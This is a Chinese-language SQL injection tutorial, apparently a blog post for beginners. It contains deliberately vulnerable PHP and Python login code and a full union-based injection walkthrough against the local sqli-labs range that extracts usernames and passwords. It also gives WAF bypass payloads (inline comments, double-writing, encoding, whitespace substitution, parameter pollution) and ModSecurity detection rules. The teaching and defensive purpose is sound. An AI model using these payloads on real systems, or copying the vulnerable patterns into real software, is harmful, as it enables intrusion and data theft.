)
前言SQL注入SQL Injection是Web安全领域最经典、危害最严重的漏洞之一。在OWASP Top 10安全风险榜单中注入类漏洞长期占据核心位置最新版本A03:2021-Injection依然将其列为前三的高危风险。据各类安全报告统计全球约35%的Web应用存在不同形式的SQL注入漏洞攻击者可借此绕过身份认证、窃取敏感数据、篡改数据库内容甚至获取服务器系统权限造成数据泄露、业务瘫痪、经济损失等严重后果。近年来国内外已发生多起因SQL注入导致的大规模数据泄露事件涉及数千万乃至上亿条用户记录。因此无论是开发人员还是安全研究人员深入理解SQL注入的原理与防御手段都是构建安全Web应用的基础。【警告】本文所述技术仅用于授权的渗透测试、安全教学和CTF竞赛等合法场景。根据《中华人民共和国网络安全法》《中华人民共和国刑法》第二百八十五条、第二百八十六条等相关规定未经授权对他人计算机信息系统进行SQL注入攻击、非法获取数据或破坏系统正常运行属于违法犯罪行为将面临刑事处罚。请务必在合法授权范围内学习与实践切勿触碰法律红线。作者不对任何滥用本文技术所造成的后果承担责任。本文将从原理剖析、漏洞复现、实战注入到WAF绕过与防御方案进行系统讲解适合Web安全初学者和希望巩固基础的安全从业者阅读。一、SQL注入原理1.1 什么是SQL注入SQL注入的本质是用户输入的数据被当作SQL代码的一部分执行。在正常的Web应用中用户通过表单、URL参数、Cookie等方式向服务器提交数据后端程序将这些数据拼接到SQL语句中再交由数据库引擎执行。如果程序没有对用户输入进行严格的类型校验、转义处理或使用参数化查询攻击者就可以通过精心构造的输入改变原本SQL语句的逻辑结构从而执行非预期的数据库操作。举个直观的例子假设某登录功能的后端SQL语句如下SELECT * FROM users WHERE username $username AND password $password正常情况下用户输入 admin 和 123456SQL语句变成SELECT * FROM users WHERE username admin AND password 123456数据库会查询用户名为 admin 且密码为 123456 的记录。但如果攻击者在用户名输入框中输入 admin or 11SQL语句就变成了SELECT * FROM users WHERE username admin or 11 AND password xxx由于 11 永远为真这条SQL语句的逻辑被彻底改变攻击者无需知道真实密码即可绕过登录验证这就是SQL注入最经典的攻击场景。1.2 漏洞代码示例下面给出两段典型的漏洞代码帮助理解漏洞成因。PHP漏洞代码字符串拼接登录验证?php$conn mysqli_connect(localhost, root, 123456, test);$username $_POST[username];$password $_POST[password];// 危险直接拼接用户输入到SQL语句$sql SELECT * FROM users WHERE username $username AND password $password;$result mysqli_query($conn, $sql);if (mysqli_num_rows($result) 0) {echo 登录成功;} else {echo 登录失败;}?Python漏洞代码f-string拼接import pymysqlconn pymysql.connect(hostlocalhost, userroot, password123456, dbtest)username input(请输入用户名: )password input(请输入密码: )# 危险使用f-string拼接用户输入sql fSELECT * FROM users WHERE username {username} AND password {password}cursor conn.cursor()cursor.execute(sql)if cursor.fetchone():print(登录成功)else:print(登录失败)万能密码 admin or 11 的原理说明当用户名输入 admin or 11密码任意输入时拼接后的SQL语句为SELECT * FROM users WHERE username admin or 11 AND password xxx在SQL中AND 的优先级高于 OR语句等价于SELECT * FROM users WHERE username admin OR (11 AND password xxx)由于 11 为真只要数据库中存在 admin 用户或 AND 条件整体为真查询就会返回记录从而绕过密码校验。攻击者甚至可以使用 admin or 11# 让后面的密码判断被注释掉实现无条件登录。1.3 安全代码示例防御SQL注入最有效的方式是使用预处理语句Prepared Statement或参数化查询将用户输入作为参数传入而非拼接进SQL语句。数据库引擎会对参数进行转义处理使其只能作为数据而非代码被执行。PHP预处理语句?php$conn mysqli_connect(localhost, root, 123456, test);$username $_POST[username];$password $_POST[password];// 安全使用预处理语句参数化绑定$sql SELECT * FROM users WHERE username ? AND password ?;$stmt mysqli_prepare($conn, $sql);mysqli_stmt_bind_param($stmt, ss, $username, $password);mysqli_stmt_execute($stmt);$result mysqli_stmt_get_result($stmt);if (mysqli_num_rows($result) 0) {echo 登录成功;} else {echo 登录失败;}?Python参数化查询import pymysqlconn pymysql.connect(hostlocalhost, userroot, password123456, dbtest)username input(请输入用户名: )password input(请输入密码: )# 安全使用参数化查询参数以元组形式传入sql SELECT * FROM users WHERE username %s AND password %scursor conn.cursor()cursor.execute(sql, (username, password))if cursor.fetchone():print(登录成功)else:print(登录失败)【提示】无论用户输入多么复杂的恶意字符串参数化查询都会将其作为普通字符串处理从根本上杜绝SQL注入。这是业界公认的最佳防御实践。二、常见SQL注入类型分类根据注入点的数据回显情况和利用方式SQL注入主要分为以下五种类型1. 联合查询注入Union-based Injection利用前提页面有SQL执行结果回显。核心思路使用 UNION SELECT 将攻击者构造的查询结果与原查询结果合并直接在页面上显示。这是最高效的注入方式适用于有回显位的场景。2. 布尔盲注Boolean-based Blind Injection利用前提页面无数据回显但会根据查询条件真假返回不同内容如存在或不存在。核心思路通过构造布尔条件根据页面返回差异逐字符猜解数据。3. 时间盲注Time-based Blind Injection利用前提页面无任何回显差异无法通过布尔判断。核心思路利用 IF、SLEEP 等函数根据条件真假使数据库响应时间不同通过响应时长判断数据内容。4. 堆叠注入Stacked Injection利用前提数据库支持多语句执行如SQL Server、PostgreSQLMySQL默认需开启多语句支持。核心思路使用分号 ; 在一条SQL语句后追加任意语句可执行增删改等操作。5. 报错注入Error-based Injection利用前提页面会显示数据库错误信息。核心思路构造能触发数据库报错的SQL语句利用特定函数如 updatexml、extractvalue将查询结果包含在错误信息中返回。三、实战环境搭建为了安全合法地学习SQL注入技术建议使用Docker搭建sqli-labs靶场。sqli-labs是经典SQL注入练习平台包含75关不同类型的注入场景非常适合初学者系统练习。完整docker命令如下docker pull acgpiano/sqli-labsdocker run -dt --name sqli-labs -p 8080:80 acgpiano/sqli-labsdocker ps容器启动后在浏览器访问 http://localhost:8080 首次访问会进入初始化页面点击Setup/reset Database for labs完成数据库初始化即可开始练习。【注意】靶场环境务必仅在本机或隔离网络中运行绝不要部署到公网服务器避免被他人利用攻击你的服务器也避免误触法律。建议学习完毕后及时停止并删除容器docker stop sqli-labsdocker rm sqli-labs四、实战演示联合查询注入全流程本节以sqli-labs Less-1GET - Error based - Single Quotes - String为例演示联合查询注入的完整流程。假设靶场地址为 http://localhost:8080/Less-1/ 。步骤1判断注入点在URL参数id后加单引号测试http://localhost:8080/Less-1/?id1预期返回结果页面报错类似 You have an error in your SQL syntax near 1 LIMIT 0,1说明参数被拼接进SQL语句且使用单引号包裹存在字符型SQL注入。步骤2判断字段数使用 ORDER BY 逐步测试字段数从大到小尝试http://localhost:8080/Less-1/?id1 order by 1--http://localhost:8080/Less-1/?id1 order by 2--http://localhost:8080/Less-1/?id1 order by 3--http://localhost:8080/Less-1/?id1 order by 4--预期返回结果order by 3 正常显示order by 4 报错说明当前查询有3个字段。【提示】-- 是SQL注释符用于注释掉后面的 SQL语句。在URL中需使用 -- 或 %23#的URL编码因为 # 在URL中是特殊字符。步骤3判断回显位将id设为不存在的值如-1使原查询返回空再用 UNION SELECT 显示自定义内容http://localhost:8080/Less-1/?id-1 union select 1,2,3--预期返回结果页面显示 Your Login name:2 和 Your Password:3说明第2和第3个字段是回显位可以在此位置显示查询结果。步骤4获取数据库信息在回显位替换为数据库函数http://localhost:8080/Less-1/?id-1 union select 1,database(),version()--预期返回结果显示当前数据库名 security 和数据库版本 5.5.x 或类似版本号。确认数据库版本后可知是否支持 information_schema 等特性。步骤5获取表名利用 information_schema.tables 查询当前数据库的所有表名http://localhost:8080/Less-1/?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--预期返回结果显示 emails,referers,uagents,users 等表名其中 users 表最可能存放用户数据。步骤6获取列名利用 information_schema.columns 查询 users 表的所有列名http://localhost:8080/Less-1/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_nameusers--预期返回结果显示 id,username,password 等列名确认敏感字段位置。步骤7获取数据最终payload从 users 表中提取用户名和密码http://localhost:8080/Less-1/?id-1 union select 1,group_concat(username,0x3a,password),3 from users--预期返回结果页面显示所有用户的账号密码格式如 admin:admin,Dumb:Dumb,Angelina:I-kill-you 等。其中 0x3a 是冒号 : 的十六进制表示用于分隔用户名和密码。至此联合查询注入全流程完成成功获取了数据库中的敏感数据。五、WAF绕过技巧详解WAFWeb Application FirewallWeb应用防火墙会通过规则匹配拦截包含SQL注入特征的请求。下面介绍7种常见的WAF绕过技巧每种均给出具体payload。1. 内联注释绕过MySQL支持内联注释语法 /*!...*/注释内容会被MySQL引擎执行但WAF可能将其视为注释而放行。?id-1 union /*!select*/ 1,2,3--?id-1 /*!union*/ /*!select*/ 1,2,3--2. 大小写绕过部分WAF对关键字匹配区分大小写而SQL关键字不区分大小写可用混合大小写绕过。?id-1 UnIoN SeLeCt 1,2,3--?id-1 OrDeR By 3--3. 双写绕过当WAF对关键字进行一次替换删除处理时可使用双写让删除后仍保留有效关键字。?id-1 ununionion seselectlect 1,2,3--?id-1 UNIunionON SELselectECT 1,2,3--4. 编码绕过对特殊字符或关键字进行URL编码、Hex编码、Unicode编码等绕过基于明文特征的WAF规则。?id-1 union select 1,2,3--?id-1%27%20union%20select%201,2,3--# Hex编码绕过users表名?id-1 union select 1,2,table_name from information_schema.tables where table_schema0x7365637572697479--5. 等价函数替换当WAF过滤了某些函数时可使用功能等价的函数替代。具体payload示例# and被过滤用替代?id1 11--# substr被过滤用mid替代?id1 ascii(mid((select database()),1,1))115--# sleep被过滤用benchmark替代?id1 if(11,benchmark(5000000,md5(test)),0)--6. 空格绕过当WAF过滤了空格字符时可使用其他空白字符或注释替代空格。# %0a 换行符?id-1%0aunion%0aselect%0a1,2,3--# %09 制表符?id-1%09union%09select%091,2,3--# /**/ 注释替代空格?id-1/**/union/**/select/**/1,2,3--# 括号绕过?id-1 union(select(1),(2),(3))--7. HTTP参数污染部分服务器在处理重复参数时会取最后一个或拼接所有值而WAF可能只检查第一个参数从而绕过检测。?id1id-1 union select 1,2,3--# 结合其他技巧?id1id-1/*!union*//*!select*/1,2,3--【注意】实际渗透测试中WAF绕过往往需要多种技巧组合使用。WAF规则持续更新没有永远通用的绕过方法建议结合具体WAF产品特性进行针对性测试。同时过度的绕过尝试会产生大量异常请求容易触发WAF的频率告警和IP封禁。六、SQL注入防御方案1. 参数化查询参数化查询是防御SQL注入最根本、最有效的手段。前文已展示PHP和Python的示例下面补充Java和Node.js的实现。JavaJDBC示例import java.sql.*;public class SafeLogin {public static void main(String[] args) throws Exception {Connection conn DriverManager.getConnection(jdbc:mysql://localhost:3306/test, root, 123456);String username admin;String password 123456;// 安全使用PreparedStatement参数化查询String sql SELECT * FROM users WHERE username ? AND password ?;PreparedStatement pstmt conn.prepareStatement(sql);pstmt.setString(1, username);pstmt.setString(2, password);ResultSet rs pstmt.executeQuery();if (rs.next()) {System.out.println(登录成功);} else {System.out.println(登录失败);}rs.close();pstmt.close();conn.close();}}Node.js示例const mysql require(mysql2);const conn mysql.createConnection({host: localhost,user: root,password: 123456,database: test});const username admin;const password 123456;// 安全使用参数化查询参数以数组形式传入const sql SELECT * FROM users WHERE username ? AND password ?;conn.query(sql, [username, password], (err, results) {if (err) throw err;if (results.length 0) {console.log(登录成功);} else {console.log(登录失败);}conn.end();});2. ORM框架ORM对象关系映射框架在底层默认使用参数化查询可有效避免手写SQL带来的注入风险。Python SQLAlchemy示例from sqlalchemy import create_engine, textengine create_engine(mysqlpymysql://root:123456localhost/test)username adminpassword 123456# 安全ORM使用参数绑定with engine.connect() as conn:sql text(SELECT * FROM users WHERE username :u AND password :p)result conn.execute(sql, {u: username, p: password})if result.fetchone():print(登录成功)else:print(登录失败)Java MyBatis示例使用 #{} 占位符!-- 安全#{} 会自动参数化绑定 --select idlogin resultTypeUserSELECT * FROM users WHERE username #{username} AND password #{password}/select!-- 危险${} 是字符串拼接存在注入风险应避免使用 --select idsearch resultTypeUserSELECT * FROM users WHERE username ${username}/select【警告】MyBatis中 #{} 是安全的参数绑定而 ${} 是直接字符串拼接存在SQL注入风险。在ORDER BY、表名等无法使用 #{} 的场景必须对输入进行严格白名单校验。3. 输入过滤与校验在参数化查询的基础上还应对用户输入进行校验作为纵深防御的一环- 类型校验对于数字型参数强制转换为整型对于日期参数校验日期格式。- 长度限制限制输入长度防止超长输入触发异常。- 白名单校验对排序字段、表名等动态参数使用白名单限定可选值。- 特殊字符过滤过滤或转义单引号、分号、注释符等SQL特殊字符仅作辅助手段不能替代参数化查询。4. WAF部署在应用前端部署WAF可拦截大部分自动化注入攻击。ModSecurity是知名开源WAF配合OWASP Core Rule SetCRS可提供强大的防护能力。ModSecurity配置示例httpd.conf或modsecurity.conf# 加载ModSecurity模块LoadModule security2_module modules/mod_security2.so# 启用ModSecuritySecRuleEngine On# 加载OWASP CRS规则Include /etc/modsecurity/crs/*.conf# 自定义SQL注入拦截规则SecRule ARGS (?i:(union\sselect|select\s.*\sfrom|insert\sinto|delete\sfrom|drop\stable|information_schema)) \id:1001,phase:2,deny,status:403,msg:SQL Injection Attempt,severity:CRITICAL# 拦截常见SQL注入函数SecRule ARGS (?i:(sleep|benchmark|load_file|into\soutfile|updatexml|extractvalue)) \id:1002,phase:2,deny,status:403,msg:SQL Injection Function Detected,severity:CRITICAL【提示】WAF是纵深防御的重要一环但并非万能。WAF基于规则匹配存在绕过可能且可能产生误报影响正常业务。正确做法是以参数化查询为核心防御WAF作为辅助防线输入校验作为补充形成多层防御体系。七、总结SQL注入是Web安全领域最基础也最重要的漏洞类型本文系统讲解了其原理、分类、实战利用、WAF绕过与防御方案核心要点总结如下第一SQL注入的本质是用户输入被当作代码执行根因是直接拼接用户输入到SQL语句。理解这一点是掌握所有注入变种的基础。第二防御SQL注入的根本手段是参数化查询预处理语句它将用户输入严格作为数据处理从根本上杜绝注入。任何编程语言、任何数据库驱动都支持参数化查询没有理由不使用。第三SQL注入有多种类型联合查询注入效率最高盲注适用于无回显场景堆叠注入和报错注入各有适用条件。掌握不同类型的判断与利用方法才能应对复杂场景。第四WAF绕过是攻防对抗的永恒话题内联注释、大小写、双写、编码、等价函数、空格替代、参数污染等技巧可组合使用。但WAF规则持续更新绕过方法需与时俱进。第五安全防御应遵循纵深防御原则以参数化查询为核心辅以ORM框架、输入校验、WAF部署形成多层防护任何单一防线都不可靠。第六技术是中性的关键在于使用者的态度与用途。请在合法授权范围内学习与实践尊重法律与他人权益做一名有道德、守法律的安全从业者。网络安全学习是一个持续积累的过程SQL注入只是入门。建议读者在掌握SQL注入后继续学习XSS、CSRF、SSRF、文件上传、反序列化等其他Web漏洞并关注最新的安全动态与技术趋势。希望本文能帮助你建立扎实的SQL注入知识体系在Web安全之路上稳步前行。共勉。